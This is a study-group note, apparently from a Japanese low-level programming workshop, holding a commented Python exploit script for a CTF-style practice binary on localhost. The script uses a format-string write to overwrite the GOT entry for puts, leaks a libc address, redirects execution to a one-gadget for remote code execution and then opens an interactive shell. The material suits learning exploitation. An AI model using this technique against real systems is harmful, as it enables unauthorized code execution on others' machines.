---
# System prepended metadata

title: 低レイヤ勉強会 1/25

---

# 低レイヤ勉強会 1/25

```a.py
import socket, struct, time, codecs, telnetlib


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 10004))

def interact(s):
    print('.----- interactive mode -----.')
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

# valueを0x404018（GOTのputs）に書き込む書式文字列を作成する関数

def make(value):
    # 書式文字列
    s = '%43$016lx' # 先頭は'%43$016lx'に固定
    # 出力の長さ
    n = 16 #(64bit環境のアドレスの長さ)

    for i in range(8):
        # 追加で出力する文字数
        t = (value&0xff)-n%256 # &は論理積
        if t<=1:
            t += 256
        s += '%{}c%{}$hhn'.format(t, 24+i) # hhmはchar型と認識させる
        # %(t)c%(24+i)$hnn の意
        
        value >>= 8 # (value) = value >> 8(8bit右シフト、256倍の意)
        n += t

    s += '\0'*(128-len(s)) # EOF
    s = bytes(s, 'ascii') # s を ascii 文字としてエンコード
    for i in range(8):
        s += struct.pack('<Q', 0x404018+i) # (404018 ~ 40401F)

    # rot13
    s = s.decode('latin-1') # latin-1 は文字コードの種類。laten-1のものをここで解読
    s = codecs.decode(s, 'rot13') # rot13を解読
    s = s.encode('latin-1') # latin-1に変換
    return s

main = 0x4011e1
s.sendall(make(main)+b'\n')

time.sleep(1)
d = s.recv(9999)    
start_main = int(d[:16], 16) # [:16]は有効桁数、隣の16は16進数形式の意

print('__libc_start_main:', hex(start_main))

#libc中のlibc_start_main関数のアドレスを求める。
rce = (start_main
    - 0x270b3 # __libc_start_mainのsoファイル内のアドレス
    + 0xe6af1) # One-gadget RCE

s.sendall(make(rce)+b'\n')

# Telnetが非ASCII文字を読み込むと落ちるので、ここで読み飛ばす
time.sleep(1)
s.recv(9999)

interact(s)

```